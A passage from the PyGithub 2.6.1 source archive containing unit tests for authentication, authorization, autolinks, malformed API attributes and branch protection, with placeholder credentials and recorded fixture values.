self.assertEqual(installations[0].app_id, 10101) self.assertEqual(installations[0].target_id, 3344556) self.assertEqual(installations[0].target_type, "User") self.assertEqual(installations.totalCount, 1) def testGetMemberships(self): membership_data = self.user.get_organization_memberships() self.assertListKeyEqual( membership_data, lambda e: e.organization.login, ["aneyem-github", "nko4", "geoservel", "iic2154-uc-cl", "nnodes", "sushiclm"], ) self.assertListKeyEqual( membership_data, lambda e: e.role, ["member", "member", "admin", "member", "member", "admin"] ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Authentication.py0000644000175100001660000004044114756101563017464 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Arda Kuyumcu # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 chantra # # Copyright 2024 Bernhard M. Wiedemann # # Copyright 2024 Enrico Minack # # Copyright 2024 Jonathan Kliem # # Copyright 2025 Enrico Minack # # Copyright 2025 Neel Malik <41765022+neel-m@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import os from datetime import datetime, timezone from tempfile import NamedTemporaryFile from unittest import mock from unittest.mock import Mock import jwt import github from github.Auth import Auth from . import Framework from .GithubIntegration import APP_ID, PRIVATE_KEY, PUBLIC_KEY class Authentication(Framework.BasicTestCase): def testNoAuthentication(self): g = github.Github() self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testBasicAuthentication(self): with self.assertWarns(DeprecationWarning) as warning: g = github.Github(self.login.login, self.login.password) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") self.assertWarning( warning, "Arguments login_or_token and password are deprecated, please use auth=github.Auth.Login(...) instead", ) def testOAuthAuthentication(self): with self.assertWarns(DeprecationWarning) as warning: g = github.Github(self.oauth_token.token) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") self.assertWarning( warning, "Argument login_or_token is deprecated, please use auth=github.Auth.Token(...) instead", ) def testJWTAuthentication(self): with self.assertWarns(DeprecationWarning) as warning: g = github.Github(jwt=self.jwt.token) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") self.assertWarning( warning, "Argument jwt is deprecated, please use auth=github.Auth.AppAuth(...) or " "auth=github.Auth.AppAuthToken(...) instead", ) def testAppAuthentication(self): with self.assertWarns(DeprecationWarning) as warning: app_auth = github.AppAuthentication( app_id=APP_ID, private_key=PRIVATE_KEY, installation_id=29782936, ) g = github.Github(app_auth=app_auth) self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") self.assertWarnings( warning, "Call to deprecated class AppAuthentication. (Use github.Auth.AppInstallationAuth instead)", "Argument app_auth is deprecated, please use auth=github.Auth.AppInstallationAuth(...) instead", ) def testLoginAuthentication(self): # test data copied from testBasicAuthentication to test parity g = github.Github(auth=self.login) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testTokenAuthentication(self): # test data copied from testOAuthAuthentication to test parity g = github.Github(auth=self.oauth_token) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testAppAuthTokenAuthentication(self): # test data copied from testJWTAuthentication to test parity g = github.Github(auth=self.jwt) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testAppAuthAuthentication(self): # test data copied from testAppAuthentication to test parity g = github.Github(auth=self.app_auth.get_installation_auth(29782936)) self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") def assert_requester_args(self, g, expected_requester): expected_args = expected_requester.kwargs expected_args.pop("auth") auth_args = g._Github__requester.auth.requester.kwargs auth_args.pop("auth") self.assertEqual(expected_args, auth_args) auth_integration_args = ( g._Github__requester.auth._AppInstallationAuth__integration._GithubIntegration__requester.kwargs ) auth_integration_args.pop("auth") self.assertEqual(expected_args, auth_integration_args) def testAppAuthAuthenticationWithGithubRequesterArgs(self): # test that Requester arguments given to github.Github are passed to auth and auth.__integration g = github.Github( auth=self.app_auth.get_installation_auth(29782936), base_url="https://base.net/", timeout=60, user_agent="agent", per_page=100, verify="cert", retry=999, pool_size=10, seconds_between_requests=100, seconds_between_writes=1000, ) self.assert_requester_args(g, g._Github__requester) def testAppAuthAuthenticationWithGithubIntegrationRequesterArgs(self): # test that Requester arguments given to github.GithubIntegration are passed to auth and auth.__integration gi = github.GithubIntegration( auth=self.app_auth, base_url="https://base.net/", timeout=60, user_agent="agent", per_page=100, verify="cert", retry=999, pool_size=10, seconds_between_requests=100, seconds_between_writes=1000, ) self.assert_requester_args(gi.get_github_for_installation(29782936), gi._GithubIntegration__requester) def testAppInstallationAuthAuthentication(self): # test data copied from testAppAuthentication to test parity installation_auth = github.Auth.AppInstallationAuth(self.app_auth, 29782936) g = github.Github(auth=installation_auth) # token expires 2024-11-25 01:00:02 token = installation_auth.token self.assertEqual( installation_auth._AppInstallationAuth__installation_authorization.expires_at, datetime(2024, 11, 25, 1, 0, 2, tzinfo=timezone.utc), ) # test token expiry # control the current time used by _is_expired with mock.patch("github.Auth.datetime") as dt: # just before expiry dt.now = mock.Mock(return_value=datetime(2024, 11, 25, 0, 59, 3, tzinfo=timezone.utc)) self.assertFalse(installation_auth._is_expired) # just after expiry dt.now = mock.Mock(return_value=datetime(2024, 11, 25, 1, 0, 3, tzinfo=timezone.utc)) self.assertTrue(installation_auth._is_expired) # expect refreshing the token refreshed_token = installation_auth.token self.assertNotEqual(refreshed_token, token) self.assertFalse(installation_auth._is_expired) self.assertEqual( installation_auth._AppInstallationAuth__installation_authorization.expires_at, datetime(2025, 11, 25, 1, 0, 2, tzinfo=timezone.utc), ) # use the token self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") self.assertEqual(g.get_repo("PyGithub/PyGithub").full_name, "PyGithub/PyGithub") def testAppInstallationAuthAuthenticationRequesterArgs(self): installation_auth = github.Auth.AppInstallationAuth(self.app_auth, 29782936) github.Github( auth=installation_auth, ) def testAppUserAuthentication(self): client_id = "removed client id" client_secret = "removed client secret" refresh_token = "removed refresh token" g = github.Github() app = g.get_oauth_application(client_id, client_secret) with mock.patch("github.AccessToken.datetime") as dt: dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) token = app.refresh_access_token(refresh_token) self.assertEqual(token.token, "fresh access token") self.assertEqual(token.type, "bearer") self.assertEqual(token.scope, "") self.assertEqual(token.expires_in, 28800) self.assertEqual( token.expires_at, datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), ) self.assertEqual(token.refresh_token, "fresh refresh token") self.assertEqual(token.refresh_expires_in, 15811200) self.assertEqual( token.refresh_expires_at, datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) auth = app.get_app_user_auth(token) with mock.patch("github.Auth.datetime") as dt: dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc)) self.assertEqual(auth._is_expired, False) self.assertEqual(auth.token, "fresh access token") self.assertEqual(auth.token_type, "bearer") self.assertEqual(auth.refresh_token, "fresh refresh token") # expire auth token with mock.patch("github.Auth.datetime") as dt: dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 20, 0, 1, 123, tzinfo=timezone.utc)) self.assertEqual(auth._is_expired, True) self.assertEqual(auth.token, "another access token") self.assertEqual(auth._is_expired, False) self.assertEqual(auth.token_type, "bearer") self.assertEqual(auth.refresh_token, "another refresh token") g = github.Github(auth=auth) user = g.get_user() self.assertEqual(user.login, "EnricoMi") def testNetrcAuth(self): with NamedTemporaryFile("wt", delete=False) as tmp: # write temporary netrc file tmp.write("machine api.github.com\n") tmp.write("login github-user\n") tmp.write("password github-password\n") tmp.close() auth = github.Auth.NetrcAuth() with mock.patch.dict(os.environ, {"NETRC": tmp.name}): github.Github(auth=auth) self.assertEqual(auth.login, "github-user") self.assertEqual(auth.password, "github-password") self.assertEqual(auth.token, "Z2l0aHViLXVzZXI6Z2l0aHViLXBhc3N3b3Jk") self.assertEqual(auth.token_type, "Basic") def testNetrcAuthFails(self): # provide an empty netrc file to make sure this test does not find one with NamedTemporaryFile("wt", delete=False) as tmp: tmp.close() auth = github.Auth.NetrcAuth() with mock.patch.dict(os.environ, {"NETRC": tmp.name}): with self.assertRaises(RuntimeError) as exc: github.Github(auth=auth) self.assertEqual(exc.exception.args, ("Could not get credentials from netrc for host api.github.com",)) def testCreateJWT(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) with mock.patch("github.Auth.time") as t: t.time = mock.Mock(return_value=1550055331.7435968) token = auth.create_jwt() payload = jwt.decode( token, key=PUBLIC_KEY, algorithms=["RS256"], options={"verify_exp": False}, ) self.assertDictEqual(payload, {"iat": 1550055271, "exp": 1550055631, "iss": APP_ID}) def testCreateJWTWithExpiration(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY, jwt_expiry=120, jwt_issued_at=-30) with mock.patch("github.Auth.time") as t: t.time = mock.Mock(return_value=1550055331.7435968) token = auth.create_jwt(60) payload = jwt.decode( token, key=PUBLIC_KEY, algorithms=["RS256"], options={"verify_exp": False}, ) self.assertDictEqual(payload, {"iat": 1550055301, "exp": 1550055391, "iss": APP_ID}) def testUserAgent(self): g = github.Github(user_agent="PyGithubTester") self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testAuthorizationHeaderWithLogin(self): # See special case in Framework.fixAuthorizationHeader g = github.Github(auth=github.Auth.Login("fake_login", "fake_password")) with self.assertRaises(github.GithubException): g.get_user().name def testAuthorizationHeaderWithToken(self): # See special case in Framework.fixAuthorizationHeader g = github.Github(auth=github.Auth.Token("ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk")) with self.assertRaises(github.GithubException): g.get_user().name def testAddingCustomHeaders(self): requester = github.Github(auth=CustomAuth())._Github__requester def requestRaw(cnx, verb, url, requestHeaders, encoded_input, stream=False, follow_302_redirect=False): self.modifiedHeaders = requestHeaders return Mock(), {}, Mock() requester._Requester__requestRaw = requestRaw requestHeaders = {"Custom key": "secret"} requester._Requester__requestEncode(None, "GET", "http://github.com", None, requestHeaders, None, Mock()) self.assertEqual("Custom token", self.modifiedHeaders["Custom key"]) class CustomAuth(Auth): @property def token_type(self) -> str: return "custom auth" @property def token(self) -> str: return "Custom token" def authentication(self, headers): headers["Custom key"] = self.token def mask_authentication(self, headers): headers["Custom key"] = "Masked custom header" ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Authorization.py0000644000175100001660000001150714756101563017346 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Authorization(Framework.TestCase): def setUp(self): super().setUp() self.authorization = self.g.get_user().get_authorization(372259) def testAttributes(self): self.assertEqual( self.authorization.app.url, "http://developer.github.com/v3/oauth/#oauth-authorizations-api", ) self.assertEqual(self.authorization.app.name, "GitHub API") self.assertEqual( self.authorization.created_at, datetime(2012, 5, 22, 18, 3, 17, tzinfo=timezone.utc), ) self.assertEqual(self.authorization.id, 372259) self.assertEqual(self.authorization.note, None) self.assertEqual(self.authorization.note_url, None) self.assertEqual(self.authorization.scopes, []) self.assertEqual(self.authorization.token, "82459c4500086f8f0cc67d2936c17d1e27ad1c33") self.assertEqual( self.authorization.updated_at, datetime(2012, 5, 22, 18, 3, 17, tzinfo=timezone.utc), ) self.assertEqual(self.authorization.url, "https://api.github.com/authorizations/372259") self.assertEqual(repr(self.authorization), "Authorization(scopes=[])") self.assertEqual(repr(self.authorization.app), 'AuthorizationApplication(name="GitHub API")') def testEdit(self): self.authorization.edit() self.assertEqual(self.authorization.scopes, []) self.authorization.edit(scopes=["user"]) self.assertEqual(self.authorization.scopes, ["user"]) self.authorization.edit(add_scopes=["repo"]) self.assertEqual(self.authorization.scopes, ["user", "repo"]) self.authorization.edit(remove_scopes=["repo"]) self.assertEqual(self.authorization.scopes, ["user"]) self.assertEqual(self.authorization.note, None) self.assertEqual(self.authorization.note_url, None) self.authorization.edit( note="Note created by PyGithub", note_url="http://vincent-jacques.net/PyGithub", ) self.assertEqual(self.authorization.note, "Note created by PyGithub") self.assertEqual(self.authorization.note_url, "http://vincent-jacques.net/PyGithub") def testDelete(self): self.authorization.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Autolink.py0000644000175100001660000000702314756101563016272 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2022 Marco Köpcke # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from tests import Framework class Autolink(Framework.TestCase): def setUp(self): super().setUp() # When recording test, be sure to create a autolink for yourself on # Github and update it here. links = [x for x in self.g.get_user("theCapypara").get_repo("PyGithub").get_autolinks() if x.id == 209614] self.assertEqual(1, len(links), "There must be exactly one autolink with the ID 209614.") self.link = links[0] def testAttributes(self): self.assertEqual(self.link.id, 209614) self.assertEqual(self.link.key_prefix, "DUMMY-") self.assertEqual(self.link.url_template, "https://github.com/PyGithub/PyGithub/issues/") self.assertEqual(self.link.is_alphanumeric, True) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/BadAttributes.py0000755000175100001660000002703214756101563017246 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Hugo # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Christoph Reiter # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 iarspider # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone import github from . import Framework # Replay data is forged to simulate bad things returned by Github class BadAttributes(Framework.TestCase): def testBadSimpleAttribute(self): user = self.g.get_user("klmitch") self.assertEqual( user.created_at, datetime(2011, 3, 23, 15, 42, 9, tzinfo=timezone.utc), ) with self.assertRaises(github.BadAttributeException) as raisedexp: user.name self.assertEqual(raisedexp.exception.actual_value, 42) self.assertEqual(raisedexp.exception.expected_type, str) self.assertEqual(raisedexp.exception.transformation_exception, None) def testBadAttributeTransformation(self): user = self.g.get_user("klmitch") self.assertEqual(user.name, "Kevin L. Mitchell") with self.assertRaises(github.BadAttributeException) as raisedexp: user.created_at self.assertEqual(raisedexp.exception.actual_value, "foobar") self.assertEqual(raisedexp.exception.expected_type, str) self.assertEqual(raisedexp.exception.transformation_exception.__class__, ValueError) self.assertEqual( raisedexp.exception.transformation_exception.args, ("Invalid isoformat string: 'foobar'",), ) def testBadTransformedAttribute(self): user = self.g.get_user("klmitch") self.assertEqual(user.name, "Kevin L. Mitchell") with self.assertRaises(github.BadAttributeException) as raisedexp: user.updated_at self.assertEqual(raisedexp.exception.actual_value, 42) self.assertEqual(raisedexp.exception.expected_type, str) self.assertEqual(raisedexp.exception.transformation_exception, None) def testBadSimpleAttributeInList(self): hook = self.g.get_hook("activecollab") self.assertEqual(hook.name, "activecollab") with self.assertRaises(github.BadAttributeException) as raisedexp: hook.events self.assertEqual(raisedexp.exception.actual_value, ["push", 42]) self.assertEqual(raisedexp.exception.expected_type, [str]) self.assertEqual(raisedexp.exception.transformation_exception, None) def testBadAttributeInClassAttribute(self): repo = self.g.get_repo("klmitch/turnstile") owner = repo.owner self.assertEqual(owner.id, 686398) with self.assertRaises(github.BadAttributeException) as raisedexp: owner.avatar_url self.assertEqual(raisedexp.exception.actual_value, 42) def testBadTransformedAttributeInList(self): commit = self.g.get_repo("klmitch/turnstile", lazy=True).get_commit("38d9082a898d0822b5ccdfd78f3a536e2efa6c26") with self.assertRaises(github.BadAttributeException) as raisedexp: commit.parents self.assertEqual(raisedexp.exception.actual_value, [42]) self.assertEqual(raisedexp.exception.expected_type, [dict]) self.assertEqual(raisedexp.exception.transformation_exception, None) def testBadTransformedAttributeInDict(self): gist = self.g.get_gist("6437766") with self.assertRaises(github.BadAttributeException) as raisedexp: gist.files self.assertEqual(raisedexp.exception.actual_value, {"test.py": 42}) self.assertEqual(raisedexp.exception.expected_type, {str: dict}) self.assertEqual(raisedexp.exception.transformation_exception, None) def testIssue195(self): hooks = self.g.get_hooks() # We can loop on all hooks as long as we don't access circleci's events attribute self.assertListKeyEqual( hooks, lambda h: h.name, [ "activecollab", "acunote", "agilebench", "agilezen", "amazonsns", "apiary", "apoio", "appharbor", "apropos", "asana", "backlog", "bamboo", "basecamp", "bcx", "blimp", "boxcar", "buddycloud", "bugherd", "bugly", "bugzilla", "campfire", "cia", "circleci", "codeclimate", "codeportingcsharp2java", "codeship", "coffeedocinfo", "conductor", "coop", "copperegg", "cube", "depending", "deployhq", "devaria", "docker", "ducksboard", "email", "firebase", "fisheye", "flowdock", "fogbugz", "freckle", "friendfeed", "gemini", "gemnasium", "geocommit", "getlocalization", "gitlive", "grmble", "grouptalent", "grove", "habitualist", "hakiri", "hall", "harvest", "hipchat", "hostedgraphite", "hubcap", "hubci", "humbug", "icescrum", "irc", "irker", "ironmq", "ironworker", "jabber", "jaconda", "jeapie", "jenkins", "jenkinsgit", "jira", "jqueryplugins", "kanbanery", "kickoff", "leanto", "lechat", "lighthouse", "lingohub", "loggly", "mantisbt", "masterbranch", "mqttpub", "nma", "nodejitsu", "notifo", "ontime", "pachube", "packagist", "phraseapp", "pivotaltracker", "planbox", "planio", "prowl", "puppetlinter", "pushalot", "pushover", "pythonpackages", "railsbp", "railsbrakeman", "rally", "rapidpush", "rationaljazzhub", "rationalteamconcert", "rdocinfo", "readthedocs", "redmine", "rubyforge", "scrumdo", "shiningpanda", "sifter", "simperium", "slatebox", "snowyevening", "socialcast", "softlayermessaging", "sourcemint", "splendidbacon", "sprintly", "sqsqueue", "stackmob", "statusnet", "talker", "targetprocess", "tddium", "teamcity", "tender", "tenxer", "testpilot", "toggl", "trac", "trajectory", "travis", "trello", "twilio", "twitter", "unfuddle", "web", "weblate", "webtranslateit", "yammer", "youtrack", "zendesk", "zohoprojects", ], ) for hook in hooks: if hook.name != "circleci": hook.events for hook in hooks: if hook.name == "circleci": with self.assertRaises(github.BadAttributeException) as raisedexp: hook.events self.assertEqual( raisedexp.exception.actual_value, [ [ "commit_comment", "create", "delete", "download", "follow", "fork", "fork_apply", "gist", "gollum", "issue_comment", "issues", "member", "public", "pull_request", "pull_request_review_comment", "push", "status", "team_add", "watch", ] ], ) self.assertEqual(raisedexp.exception.expected_type, [str]) self.assertEqual(raisedexp.exception.transformation_exception, None) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Branch.py0000644000175100001660000004152114756101563015702 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Kyle Hornberg # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Alice GIRARD # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Benjamin K. <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import github from . import Framework class Branch(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.branch = self.repo.get_branch("topic/RewriteWithGeneratedCode") self.protected_branch = self.repo.get_branch("integrations") self.organization_branch = self.g.get_repo("PyGithub/PyGithub", lazy=True).get_branch("master") def testAttributes(self): self.assertEqual( self.branch._links, { "self": "https://api.github.com/repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode", "html": "https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode", }, ) self.assertEqual(self.branch.commit.sha, "f23da453917a36c8bd48ab8d99e5fa7221884342") self.assertEqual(self.branch.name, "topic/RewriteWithGeneratedCode") self.assertEqual(self.branch.commit.sha, "f23da453917a36c8bd48ab8d99e5fa7221884342") self.assertIsNone(self.branch.pattern) self.assertEqual(self.branch.protected, False) self.assertIsNone(self.branch.protection.url) self.assertEqual( self.branch.protection_url, "https://api.github.com/repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode/protection", ) self.assertFalse(self.branch.protected) self.assertEqual(repr(self.branch), 'Branch(name="topic/RewriteWithGeneratedCode")') self.assertIsNone(self.branch.required_approving_review_count) def testEditProtection(self): self.protected_branch.edit_protection( strict=True, require_code_owner_reviews=True, required_approving_review_count=2, require_last_push_approval=True, ) branch_protection = self.protected_branch.get_protection() self.assertTrue(branch_protection.required_status_checks.strict) self.assertEqual(branch_protection.required_status_checks.contexts, []) self.assertTrue(branch_protection.enforce_admins) self.assertFalse(branch_protection.required_linear_history) self.assertFalse(branch_protection.allow_deletions) self.assertFalse(branch_protection.required_pull_request_reviews.dismiss_stale_reviews) self.assertTrue(branch_protection.required_pull_request_reviews.require_code_owner_reviews) self.assertEqual( branch_protection.required_pull_request_reviews.required_approving_review_count, 2, ) self.assertTrue(branch_protection.required_pull_request_reviews.require_last_push_approval) def testEditProtectionDismissalUsersWithUserOwnedBranch(self): with self.assertRaises(github.GithubException) as raisedexp: self.protected_branch.edit_protection(dismissal_users=["jacquev6"]) self.assertEqual(raisedexp.exception.message, "Validation Failed") self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#update-branch-protection", "message": "Validation Failed", "errors": ["Only organization repositories can have users and team restrictions"], }, ) def testEditProtectionPushRestrictionsWithUserOwnedBranch(self): with self.assertRaises(github.GithubException) as raisedexp: self.protected_branch.edit_protection(user_push_restrictions=["jacquev6"], team_push_restrictions=[]) self.assertEqual(raisedexp.exception.message, "Validation Failed") self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#update-branch-protection", "message": "Validation Failed", "errors": ["Only organization repositories can have users and team restrictions"], }, ) def testEditProtectionPushRestrictionsAndDismissalUser(self): self.organization_branch.edit_protection(dismissal_users=["jacquev6"], user_push_restrictions=["jacquev6"]) branch_protection = self.organization_branch.get_protection() self.assertListKeyEqual( branch_protection.required_pull_request_reviews.dismissal_users, lambda u: u.login, ["jacquev6"], ) self.assertListKeyEqual( branch_protection.required_pull_request_reviews.dismissal_teams, lambda u: u.slug, [], ) self.assertListKeyEqual( branch_protection.get_user_push_restrictions(), lambda u: u.login, ["jacquev6"], ) self.assertListKeyEqual(branch_protection.get_team_push_restrictions(), lambda u: u.slug, []) def testRemoveProtection(self): self.assertTrue(self.protected_branch.protected) self.protected_branch.remove_protection() protected_branch = self.repo.get_branch("integrations") self.assertFalse(protected_branch.protected) with self.assertRaises(github.GithubException) as raisedexp: protected_branch.get_protection() self.assertEqual(raisedexp.exception.message, "Branch not protected") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#get-branch-protection", "message": "Branch not protected", }, ) def testEditRequiredStatusChecks(self): self.protected_branch.edit_required_status_checks(strict=True) required_status_checks = self.protected_branch.get_required_status_checks() self.assertTrue(required_status_checks.strict) self.assertEqual(required_status_checks.contexts, ["foo/bar"]) def testEditRequiredStatusChecksContexts(self): self.protected_branch.edit_required_status_checks(contexts=["check1", "check2"]) required_status_checks = self.protected_branch.get_required_status_checks() self.assertEqual(required_status_checks.contexts, ["check1", "check2"]) def testEditRequiredStatusChecksChecks(self): self.protected_branch.edit_required_status_checks(checks=["check1", ("check2", -1), ("check3", 123456)]) required_status_checks = self.protected_branch.get_required_status_checks() self.assertEqual(required_status_checks.contexts, ["check1", "check2", "check3"]) def testRemoveRequiredStatusChecks(self): self.protected_branch.remove_required_status_checks() with self.assertRaises(github.GithubException) as raisedexp: self.protected_branch.get_required_status_checks() self.assertEqual(raisedexp.exception.message, "Required status checks not enabled") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch", "message": "Required status checks not enabled", }, ) def testEditRequiredPullRequestReviews(self): self.protected_branch.edit_required_pull_request_reviews( dismiss_stale_reviews=True, required_approving_review_count=2, ) required_pull_request_reviews = self.protected_branch.get_required_pull_request_reviews() self.assertTrue(required_pull_request_reviews.dismiss_stale_reviews) self.assertTrue(required_pull_request_reviews.require_code_owner_reviews) self.assertEqual(required_pull_request_reviews.required_approving_review_count, 2) def testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount(self): with self.assertRaises(github.GithubException) as raisedexp: self.protected_branch.edit_required_pull_request_reviews(required_approving_review_count=9) self.assertEqual(raisedexp.exception.message, "Invalid request.\n\n9 must be less than or equal to 6.") self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "documentation_url": 